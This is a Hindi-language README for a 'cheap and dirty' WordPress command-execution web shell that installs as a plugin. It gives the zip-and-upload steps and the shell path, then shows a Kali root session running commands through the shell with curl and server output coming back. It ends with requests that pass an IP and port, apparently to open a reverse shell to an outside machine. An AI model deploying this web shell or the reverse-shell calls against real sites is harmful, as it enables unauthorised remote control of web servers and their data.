
सस्ता एवं घटिया वर्डप्रेस कमांड निष्पादन शैल
सस्ता & गंदा वर्डप्रेस कमांड निष्पादन शेल।
वर्डप्रेस के साथ सर्व करने वाले वेबसर्वर के रूप में कमांड निष्पादित करें! अपलोड किया गया शेल संभवतः /wp-content/plugins/shell/shell.php पर होगा।
शेल को स्थापित करने के लिए, हम मान रहे हैं कि आपके पास वर्डप्रेस इंस्टॉल का प्रशासनिक पहुंच है और आप प्लगइन्स इंस्टॉल कर सकते हैं।
या तो dist/ निर्देशिका में स्थित ज़िप फ़ाइल अपलोड करें, या अपना स्वयं का आर्काइव बनाएं:
$ zip -r shell.zip shell.php
adding: shell.php (deflated 39%)
$ ls -lah shell.zip
-rw-r--r-- 1 bob staff 492B Aug 29 14:17 shell.zip
एक बार अपलोड होने के बाद, /wp-content/plugins/shell/shell.php पर जाएं और cmd या ip को एक आर्गुमेंट के रूप में प्रदान करें।
root@kali:~# curl -v "http://192.168.0.1/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"cmd":"uname -a"})')"
* About to connect() to 192.168.0.1 port 80 (#0)
* Trying 192.168.0.1...
* connected
* Connected to 192.168.0.1 (192.168.0.1) port 80 (#0)
> GET /wp-content/plugins/shell/shell.php?cmd=uname+-a HTTP/1.1
> User-Agent: curl/7.26.0
> Host: 192.168.0.1
> Accept: */*
>
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 200 OK
< Date: Thu, 28 Aug 2014 09:28:24 GMT
< Server: Apache/2.2.14 (Ubuntu)
< X-Powered-By: PHP/5.3.2-1ubuntu4
< Vary: Accept-Encoding
< Content-Length: 191
< Content-Type: text/html
Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux
root@kali:~# curl -v "http://192.168.0.1/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"ip":"192.168.1.101"})')"
root@kali:~# curl -v "http://192.168.0.1/wp-content/plugins/shell/shell.php?$(python -c 'import urllib; print urllib.urlencode({"ip":"192.168.1.101","port":"1234"})')"